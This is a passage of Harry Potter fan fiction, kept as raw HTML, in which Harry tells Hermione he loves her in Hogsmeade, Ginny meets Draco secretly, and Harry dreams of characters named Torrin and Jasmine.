a\nsmile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Both\nHarry and Hermione looked up at Ron annoyed that he was right, but Hermione\nwould never tell him he was right, not ever. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;That\nis where this comes in.&#8221; Zara said getting everyone&#8217;s attention again, as she\npulled from her pocket a bag with some kind of root in it.&nbsp; &#8220;It is called Orgus root, the nurse back at\nSalemston was told that she should give it out, just to be safe. Both genders\ncan take it to assure no one gets pregnant, it lasts three months.&nbsp; It&#8217;s a shame it&#8217;s not available to muggles,\nit would change the world.&#8221;&nbsp; She smiled\nat both Hermione and Harry, &#8220;so which of you wants to take this?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nturned and looked at Hermione, &#8220;why don&#8217;t we both take it.&#8221; He suggested with a\ndegree of caution.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nnodded, agreeing. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nopened the bag and pulled out the root, she took out her trusty pocket knife\nand sliced of two equal pieces of the root.&nbsp;\nShe put the rest of the root back into her bag and sealed it up again.&nbsp; Zara handed the root pieces to Harry and\nHermione, &#8220;now it will taste a little bitter, but it&#8217;s a small price to play\nfor worry free passion.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nwatched them eat the root and laughed at the faces they couldn&#8217;t help making\nwhile they swallowed the last of it.&nbsp;\nSomething sparkling around Hermione&#8217;s neck caught her eye, </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Wow\nthat&#8217;s a right nice peace of jewelry Hermione.&#8221; She admired.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlifted her fingers and touched the gem around her neck, she glanced down at it\nbriefly. &#8220;Thanks, I found it not too long ago.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Really?&#8221;\nZara was astonished, &#8220;who would loose such a piece and not even wonder where it\nwas.&nbsp; If it were me I would never let it\nout of my sight.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nlooked up at Ron he remembered about Hogsmeade, &#8220;Hey Ron did you want to go\nHogsmeade with us tomorrow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nthought a moment, &#8220;sure thing.&#8221; He smiled.&nbsp;\n&#8220;Hey Harry how about a game of chess?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Okay\nset it up.&#8221; Harry said with a smirk, &#8220;I think I&#8217;ve been improving, I could beat\nyou this time.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah\nwe&#8217;ll see, no one can beat me I&#8217;m champion and you know it.&#8221; Ron gloated.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;m\nready for you oh champion.&#8221; Harry was really sarcastic. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nstarted setting up the chessboard as Harry took his seat.&nbsp; Harry glanced over briefly at Hermione, who\nwas talking quietly to Zara.&nbsp; Just a\nmoment ago they were wrapped in each other&#8217;s arms, there was nothing better\nthan that.&nbsp; He looked at Ron, and he\nsupposed it was a good thing that he and Hermione were interrupted.&nbsp; He quietly thanked Zara in his mind for\noffering that Orgus root.&nbsp; This with\nHermione was almost utterly perfect, he so loved her and never wanted to be\nwithout her.&nbsp; Tomorrow he would make his\nfeelings known.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">****&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ncan&#8217;t see you anymore so stop this, my brothers would kill you if they knew.&#8221;\nGinny said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Then\ndon&#8217;t tell them.&#8221; Draco said as he swung around the wooden beam smiling slyly\nat her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It&#8217;s\nnot that simple, they find out about everything.&#8221; She sat down distressed.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Did\nthey find out about you and Potter last year?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes\nbut they accepted him, he was already their friend.&nbsp; It was different.&#8221; She searched his gray\neyes, he seemed so alone.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nabout you and Longbottom, did they find out about him?&#8221; Draco sat down next to\nher.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes,\nand they gave him several warnings, I don&#8217;t know why though. Neville really\nwasn&#8217;t that much of a threat or pushy or anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nI&#8217;m not going to tell them, and you&#8217;re not going to tell them.&nbsp; We can just meet in secret.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;For\nhow long, the whole rest of the year, all next year. I don&#8217;t want to live a\nsecret Draco.&nbsp; The worst part is making\nsure no one knows about the secret.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nyou&#8217;re very good at that. I don&#8217;t think you&#8217;ll let it slip out. It&#8217;s not like\nyou&#8217;re going to go up to them and say, oh hi brother Weasley.&nbsp; I have been secretly romancing with your\ngreatest enemy, have a nice day.&#8221; Draco smirked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny\nshook her head back and forth, &#8220;you are impossible to hold a serious\nconversation with, I hope you know that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\ndraped his arm across her shoulder and pulled her against him, &#8220;don&#8217;t worry\nGinny, we&#8217;ll think of something.&#8221; He said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">****</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nhad drifted to sleep really fast, probably from what almost happened earlier\nthat evening.&nbsp; He turned over and hugged\nhis pillow &#8212;<i style="mso-bidi-font-style:normal">&nbsp; he wrapped the sheet around his waste as he\nstood up out of the bed, he turned looking down at her, she was the most\nbeautiful woman he had ever been with, she was softly smiling up at him, her\neyes still dazed with desire from the recent night&#8217;s activities.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Did I tell you it was really stupid of\nyou to enter that tournament.&#8221; She smiled briefly.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I had to, you left me no choice.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;That&#8217;s not true. Torrin, you could have\nbeen killed you know.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Torrin sat down next to her, &#8220;but I\nwasn&#8217;t, and that Finley looked like a fool.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">She laughed &#8220;yes he did, I had no idea\nyou could do that.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;At least I learned something from my\nschooling.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Her gaze dropped to from his, a sense of\nheartache covered over her.&nbsp; &#8220;You know I\npromised myself I was never going to let you back into my life.&#8221; She sat up,\nholding a blanket across her chest.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine, I know I made mistakes. I know\nI had hurt you.&nbsp; But I don&#8217;t want to go\non without you.&nbsp; I have no other lady in\nmy mind and heart but you.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I really wish I could believe that,\nsure you say that now.&nbsp; But I know you\nTorrin, I know&#8212;&#8221; She glanced down at her fingers, twisting them together.&nbsp; &#8220;We are only sixteen Torrin, I see that you\ndon&#8217;t want to be settled with someone yet. And that&#8217;s fine.&nbsp; But I&#8217;m not going to wait around for you.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">He lowered his head, &#8220;I know you aren&#8217;t,\nI don&#8217;t expect you to.&nbsp; But know this.&#8221; He\nlifted his head, his gaze locking with hers, &#8220;I love you and I will prove it,\nif you give me one more chance.&#8221; He lifted his hand, holding it against her\ncheek &#8220;please Jasmine.&#8221;&#8212;</i>&nbsp; Harry opened his eyes slowly, it was already\nmorning. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">The\nsun was shining through the window.&nbsp; He\nturned to his right seeing Ron&#8217;s bed was empty.&nbsp;\nHe turned to his left seeing Neville&#8217;s bed was empty.&nbsp; Harry lifted his wrist looking at his watch\n&#8220;ten thirty!&#8221; He shouted.&nbsp; <i style="mso-bidi-font-style:normal">What a great start to a Sunday, the whole\nmorning wasted</i>. He thought to himself as he jumped out of bed and raced to\nget ready for the day.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nraced down the stairs, no one was around.&nbsp;\nHe saw Ginny coming through the portrait hole, &#8220;Hey Ginny.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Hey\nHarry, running a little late are we?&#8221; She teased.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Just\na bit.&#8221;&nbsp; He was only slightly annoyed.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;There&#8217;s\nsomething I&#8217;ve been meaning to ask you,&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Can\nwe hurry this up, I want to get to Hogsmeade, which I&#8217;m sure Ron and Hermione\nare already there.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Nope\nthey are still here, waiting for you.&nbsp; Are\nyou going to tell Hermione how you feel?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nlooked at her in confusion, &#8220;how do you know how I feel?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Harry,\neveryone knows how you feel.&#8221; She smirked and stared up the stairs towards her\nroom.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nwent through the portrait hole and down the stairs he could see Hermione and\nRon waiting for him.&nbsp; He watched Hermione\nfor a moment, she was laughing at something Ron had said and shook her head at\nthe same time.&nbsp; They must be in another\nargument again.&nbsp; He went down the stairs\nand saw Hermione turn to him with a smile. <i style="mso-bidi-font-style:normal">It\nwas such a pretty smile</i>. He thought.&nbsp;\n&#8220;Well are you two ready?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;The\nquestion is are you ready?&#8221; Ron started, &#8220;Zara asked if I wanted to go with her\nand meet you there, but I told her I would wait for you.&nbsp; She found that really cute but still went off\nwith her friends.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;We&#8217;ll\nhave to use the secret passageway though, since I&#8217;m sure the train had already\nleft.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nnodded, &#8220;it did an hour ago.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nknow you two didn&#8217;t have to wait for me, I would have eventually met you there.&#8221;&nbsp; He smiled at both of them.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;We\nknow Harry, but I wanted to wait for you. So Ron decided he would wait for you\nas well, he was just trying to prove that he&#8217;s just a good a friend as I am.&#8221;\nShe rolled her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Let&#8217;s\nget going then.&#8221; Harry said and they all went up the stairs towards the secret\npassage.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">****</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">After\nvisiting Honeydukes and purchasing a grand assortment of their favorite sweets,\nRon met up with Zara and went off together.&nbsp;\nThat left Harry and Hermione to themselves, who had decided to go to the\nThree Broomsticks for lunch.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">The\nwaitress brought them their order and sat it down in front them, Hermione\npicked up the glass and drank from it, Throughout the whole meal she knew Harry\nwas constantly watching her, she felt his eyes on her even now. After setting\nher glass down again she turned and looked at him.&nbsp; Harry had his elbow on the table and his chin\nresting on his hand just looking at her with a silly grin on his face,</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Alright what is it?&#8221; She smiled. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">All\nhe could see was Hermione, even thought it was extremely crowded and noisy with\npeople, It was as if there was no one else around.&nbsp; He smiled, &#8220;nothing except I love you.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstared, he just said it. He did. Was she dreaming? She looked around the room.&nbsp; Is this just a dream and she hadn&#8217;t woken\nyet?&nbsp; &#8220;What did you say?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsat up straight a small smile upon his lips, &#8220;I love you.&#8221; He lifted a tender\nhand caressing her cheek, &#8220;do you love me?&#8221; He knew she did but he still wanted\nto hear it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nheart was pounding, echoing in her ears. &#8220;Oh great heavens yes.&#8221;&nbsp; Hermione threw her arms around him embracing\nhim tightly, feeling his arms around she melted against him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione&#8221;\nHis tone was soft, gentle. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlifted her chin and met his emerald gaze, she could barely breathe she was so\nlost.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s\ngaze dipped from her eyes to her lips, leaning in closer his lips brushed over\nhers briefly, and then his mouth was on hers, urging her lips open wide and\nwider still. Their tongues meeting, entwining with an intensifying\nboldness.&nbsp; He felt her cling to him\ntighter, his fingers threaded through her hair. If they could get any closer\nthey would have, he did have to show some restraint even though he didn&#8217;t want\ntoo. But they were out in public.&nbsp; At\nleast they could still enjoy each other&#8217;s kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ugh, I think I&#8217;m about to loose my\nlunch.&#8221; A voice said alerting Harry and Hermione to someone&#8217;s presence.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ntwo of them pulled apart slowly, they looked up who was standing there. It\nwas&nbsp; Cho and she was holding the hand of\na tall blonde man, she was standing directly in front of their table her arms\nthen crossed over her bosom. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is\nthere something you need Cho?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Public\ndisplays of affection should be outlawed, don&#8217;t you people have any decency?&#8221;\nHer hands planted firmly on her hips.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nturned to him. &#8220;Harry do we have any decency?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlooked up to the ceiling in thought, then back down at Hermione, &#8220;no.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nboth turned, looking up at Cho. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsmiled up at her &#8220;sorry nope, no decency here.&#8221;&nbsp;\nShe turned looking at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nearly\na second later Harry&#8217;s mouth was on hers again and they were enthralled in the\npassion once again.&nbsp; They didn&#8217;t even\nnotice when Cho left, nor when Ron and Zara came in.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou think they are going to come up for air anytime soon?&#8221; Ron said to Zara but\nalso loud enough for Harry and Hermione to hear them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Both Harry and Hermione pulled out of each\nother arms looking at Ron with an annoyed look.&nbsp;\nRon was just smirking trying hard not to laugh.&nbsp; Then he and Zara sat down at the table.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nare you two just going to sit here all day making out all day or are we going\nto go do something fun.&#8221; Ron asked looking between both of them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But\nthis is fun.&#8221; Harry said grinning, he glanced over at Hermione who was nodding,\nagreeing with him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nthrew sarcastic glares, &#8220;Come on you guys, Zara and I are so board.&nbsp; Let&#8217;s go do something huh?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione nodded and they got up to spend some quality time with their\nfriends.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlooked at the three of them as they walked through the town, &#8220;alright I&#8217;ve been\ntrying to figure this out but it really doesn&#8217;t make any sense.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ndoesn&#8217;t make sense?&#8221; Ron asked looking at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Before\nI came here I really had no idea of who you people were, I have been having the\noddest dreams about you people or people who look an awful lot like you. And\nthen I get here and well there you all pop out of the woodwork so to speak.&#8221;\nShe glanced down for a moment, &#8220;yeah go ahead say I&#8217;m crazy, go on I can take\nit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nshook his head, &#8220;no Zara you aren&#8217;t crazy.&nbsp;\nI too have been having strange dreams, but I really don&#8217;t pay attention\nto them, because well they are dreams they don&#8217;t mean anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione nodded their heads agreeing with Ron, &#8220;Half the time Zara we dream\nwhat we want to happen.&nbsp; And if it\ndoesn&#8217;t happen in real life it very well can happen in our dreams.&nbsp; I wouldn&#8217;t put too much stock into them.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nbut&#8212;&#8221;&nbsp; Zara paused, &#8220;Oh never mind,&#8221; Zara\nlooked up at Ron with a smile.&nbsp; She\ntouched him lightly on the arm, &#8220;tag you&#8217;re it.&#8221; She said running away with\nlaughter. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\njust stared in confusion, Hermione looked up at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;It&#8217;s a game Ron, people are suppose to run\naway from it, which is you.&nbsp; Now you&#8217;re suppose\nto chase someone and tag them and then they will be it.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright\nthen.&#8221; He reached out to tag Hermione on the head but she ducked and he\nmissed.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nHarry and Hermione were being chased by Ron trying to tag one of them, he kept\nmissing. Most of the day was spent with Ron still it trying to tag someone\nelse. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ntossed and turned in his sleep&#8212;<i style="mso-bidi-font-style:normal"> He and\nKai walked into the council meeting and took their seats.&nbsp; Sitting down next to his father in his\nappointed seat.&nbsp; He saw his father turn\nto him.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;&#8220;Glad to see you made it Torrin.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Torrin\nnodded looking at Kai while he sat down next to his mother and himself.&nbsp; The meeting was in full swing Torrin listened\nwith a different kind of attention, usually he was so board that he would fall\nasleep, but this time it was different.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I find that very hard to believe?&#8221;\nOrvin replied walking up standing directly in front of him, as if challenging\nhim.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I know we&#8217;ve all watched her grow and\nlearn, becoming more and more like her mother every day, yet her views are\ndifferent from ours, she thinks the muggles, mudbloods,\nand squibs deserve their freedom.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;She is still young, in time Jasmine\nwill come to learn that our way of life must and will remain the same.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;It&#8217;s possible, but it&#8217;s also possible\nthat as soon as she casts one spell using that scepter, she could force us into\ndoing whatever she wants, destroying the very foundation of society. To rule\nover us is what she really wants to do, you&#8217;ve all heard her views from the\nvillagers and even in the royal palace court as well.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What do you propose Salazar?&#8221; Orvin\nsaid looking stern.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I propose that we remove the scepter\nfrom her power.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What good would that do, she is the only\none who can use it. It&#8217;s not like we&#8217;ll be able to use it.&nbsp; Merlin did the Soul Weave, if anyone else\nknows how to do that it is Jasmine, she could easily make another.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i 